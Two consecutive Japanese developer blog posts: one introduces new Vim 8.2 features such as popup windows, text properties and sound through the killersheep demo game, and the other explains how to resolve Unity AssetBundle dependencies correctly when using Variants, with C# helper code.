Vim は、パッチ(Git 管理になった今ではコミットとほぼ同義)を積み重ねて改善が行われます。前回のマイナーバージョンアップ(Vim 8.1)から少しずつパッチを積み重ね、ある程度のところでキリを見て新しいバージョン(今回の場合は 8.2)を振ります。

つまり Vim の HEAD を追いかけている人からすると、バージョンが 8.2 になったところで劇的に何かが変わるわけではありません。Linux の各ディストリビューションも、多くの場合はキリを見てパッチが入ったバージョンをリリースするので、気付いたら新しい機能が入った Vim を使っている場合もあります。

今回、ここで言う Vim 8.2 の新機能とは、Vim 8.1 リリース時点から足された機能のことを指します。上記の事情から、中にはもうずいぶん前から使えていた機能もあります。

デモプラグイン

さて、Vim の開発者である Bram さんは、今回 Vim 8.2 をリリースするにあたって Vim 8.2 で追加された機能のデモンストレーションをするためのプラグインを公開しました。

https://github.com/vim/killersheep

これは Vim 上で動作するゲームで、Vim 8.2 で追加された様々な機能が使われています。

動作の様子は以下のような感じです。

:KillKillKill Ex コマンドでゲームを開始し、画面下の砲台を操って羊の攻撃を避けつつ倒していきます。背景には編集中のテキストがそのまま残っています。とてもシュールですね。

ポップアップウィンドウ

Vim はウィンドウの中にバッファを表示することができ、ウィンドウは縦か横に分割することで複数のバッファを表示することができます。 Vim 8.2 では、新たにポップアップウィンドウがサポートされました。これはウィンドウの分割とは独立して、Vim 上の好きな位置にウィンドウを配置する機能です。IDE のようなプラグインを実装するために、ドキュメントや補完対象の情報をカーソルの近くに表示することができます。 ゲーム内では、羊や砲台がポップアップウィンドウとして実装されています。編集中のテキストの上でゲームが動くのもこれのおかげです。

テキストプロパティ

ゲーム中で砲台や羊に色が付いているのは、テキストプロパティを使っています。

ハイライト自体は今までの Vim でもできましたが、より直接的にハイライトを指定できます。

テキストプロパティにはテキストが編集された際にその位置が連動して動く性質もあるので、ハイライト箇所を絶対位置で指定するよりも柔軟な使い方が可能です。

サウンド

実際にゲームをプレイするとわかりますが、対応している環境であれば効果音が鳴ります。 Vim 8.2 では音を鳴らす機能が搭載されました。

テキストエディタに音を鳴らす機能なんているの? って思いますよね。私もそう思います。なんで入ったんだろう…。ゲームは作りやすくなったかもしれないですね。

まとめ

Vim 8.2 では、今後 IDE のような機能をサポートするための下地のような機能が多数入りました。LSP(Language Server Protocol)の発展も目が離せませんし、今後よりリッチな開発環境の整備が進むことはとても楽しみです。

古いだけじゃない、新しい Vim に皆さんも触れてみてはいかがでしょうか。

UnityのVariant機能をつかってちょっと躓いた話

はじめに

この記事は Akatsuki Advent Calendar 2019 13日目の記事です...でした。 まだUTC-8くらいまでは13日なのでセーフったらセーフです。

挨拶が遅れました。アカツキでクライアントエンジニアをしている shairo_jp こと下村です。

師も開発者も忙しく走り回る年末に皆さんいかがお過ごしでしょうか。

UnityのAddressablesからpreviewが外れてそろそろ半年ほども経つようですね。 巷のUnityプロジェクトはもうAssetBundleを脱出する算段をつけている頃合いかと思います。

私もAddressableに関する記事を投稿する腹積もりでしたが、少々アテが外れたためAssetBundleに関する小さなTipsを共有することにしました。 もうAssetBundleはだいぶ触り尽くしたと思っていたのですが、Variantの取り扱いで躓いた点があったので紹介します。

Variantとは

VariantはUnityのAssetBundleの機能の一つで、AssetBundleの参照関係を壊さないようにアセットを置き換えるための仕組みです。 もっぱらSD/HDアセットや言語の切り替えといった用途に利用されます。 ここではVariantについて詳しい説明はしません。後の説明に必要な部分だけに留めます。

f:id:shairo_jp:20191214163827p:plain

BundleA に含まれるPrefabは BundleB のImageアセットを参照しています。 今回はこのImageを切り替えられるようにしたいので、 BundleB にXとYのVariantを用意します。

f:id:shairo_jp:20191214165532p:plain

Variant違いのアセットは同じ名前と内部IDを持つため、 BundleB.X の代わりに BundleB.Y をロードすればPrefabが参照するアセットが自然に切り替わります。

VariantをサポートするUnity公式のAssetBundleManagerを見てみましょう。

// Get dependecies from the AssetBundleManifest object..
string[] dependencies = m_AssetBundleManifest.GetAllDependencies(assetBundleName);
if (dependencies.Length == 0)
    return;

for (int i = 0; i < dependencies.Length; i++)
    dependencies[i] = RemapVariantName(dependencies[i]);

// Record and load all dependencies.
m_Dependencies.Add(assetBundleName, dependencies);
for (int i = 0; i < dependencies.Length; i++)
    LoadAssetBundleInternal(dependencies[i], false);

Unity-Technologies / assetbundledemo / demo / Assets / AssetBundleManager / AssetBundleManager.cs — Bitbucket より引用

GetAllDependenciesで取得したAssetBundle名に対してVariant名のリマップを行っているようです。 これでめでたく読み込むImageアセットを切り替えることができました。

問題点

しかしVariantのAssetBundleに含まれるアセットもさらに他のAssetBundleのアセットを参照しているかもしれません。 もう少し複雑な次の例を考えてみましょう

f:id:shairo_jp:20191214164021p:plain

この時 GetAllDependencies("BundleA")["BundleB.X", "BundleC"] を返します。 しかしこのリストの BundleB.XBundleB.Y に置き換えても、 BundleB.Y に必要な BundleD が不足してしまいます。

このように、実はVariantを利用する場合にはGetAllDependenciesを利用することができません。 Variant名の解決の解決は、AssetBundleが 直接 依存するAssetBundleに対して行う必要があります。

Variantを指定してDependenciesを取得する

気づいてしまえばあとは簡単です。ここは再帰呼び出しを利用して簡単にGetAllDependenciesの代替スクリプトを書いてみます。

public static string[] GetAllDependenciesWithVariant(this AssetBundleManifest manifest, string assetBundleName,
    IReadOnlyDictionary<string, string> variantMap)
{
    var dependencies = new HashSet<string>();
    GetDependencies(assetBundleName);
    return dependencies.ToArray();

    void GetDependencies(string name)
    {
        if (variantMap.TryGetValue(name.Split('.')[0], out var trueAssetBundleName))
        {
            name = trueAssetBundleName;
        }

        foreach (var dependency in manifest.GetDirectDependencies(name))
        {
            if (dependencies.Add(dependency))
            {
                GetDependencies(dependency);
            }
        }
    }
}

Variantの具体的な使い方は人それぞれなので、非Variant名からVariant名を取得できるようなテーブルを用意するのが柔軟でよいです。 今回の例では variantMap に以下のようなテーブルを渡します。

{
    {"BundleB", "BundleB.Y"}
}

AssetBundle名を受け取ったら、まずはSplitで末尾のVariantを取り除いて先程のテーブルを引きます。 Variant名を取り除いたらGetDirectDependenciesで依存するAssetBundleを取得し、既出でなければ再帰的に依存関係を調べます。

普段GetAllDependenciesを使っていると気づきませんが、AssetBundleの依存関係は循環することがため既出かどうかを判定しなければなりません。

なお、AssetBundle名にはピリオドを含めれないので、Variant以外でSplitに引っかかることはありません。

全てのVariantを含むDependenciesを取得する

突然ですが、AssetBundleの欠点の一つにそれをResourcesと同様に扱う事ができないという問題があります。 そのために主要な全てのアセットをAssetBundleに含め、起動から初回ダウンロードまでに必要なAssetBundleをStreamingAssetsに格納する、という設計がしばしば採用されます。

このときStreamingAssetsに格納するAssetBundleは、当然全ての依存関係を完全に含まなければなりません。 つまり、今度は全てのVariantを含む依存関係の解決を行う必要があります。

public static string[] GetAllRequirementsWithVariant(this AssetBundleManifest manifest, string assetBundleName)
{
    var allVariantsMap = manifest.GetAllAssetBundlesWithVariant()
        .GroupBy(n => n.Split('.')[0])
        .ToDictionary(g => g.Key, g => g.ToList());

    var requirements = new HashSet<string>();
    GetDependenciesWithAllVariant(assetBundleName);
    return requirements.ToArray();

    void GetDependenciesWithAllVariant(string name)
    {
        name = name.Split('.')[0];

        if (allVariantsMap.TryGetValue(name, out var variants))
        {
            foreach (var variant in variants)
            {
                GetDependencies(variant);
            }
        }
        else
        {
            GetDependencies(name);
        }
    }

    void GetDependencies(string name)
    {
        if (!requirements.Add(name))
        {
            return;
        }

        foreach (var dependency in manifest.GetDirectDependencies(name))
        {
            GetDependenciesWithAllVariant(dependency);
        }
    }
}

まずはGetAllAssetBundlesWithVariantで全てのVariantの対応表を作ります。 例では allVariantsMap は以下のようなテーブルになります。

{
    {"BundleB", {"BundleB.X", "BundleB.Y"}
}

あとはAssetBundle名からVariantを取り除き、改めてVariantを列挙しながら依存AssetBundleを列挙するだけです。 今回はルートのAssetBundleのVariantも含めたいので、 requirements にルート自身を含めるようにしています。

おわりに

もう4ヶ月もすればUnity2019もLTSがリリースされ、Addressablesの実戦投入もグッと現実化するでしょう。 このTipsはもはや過去のノウハウですが、この間隙にまだAssetBundleに悩まされている開発者の助けになれば幸いです。

明日...いや今日は s-capybara さんの番になります。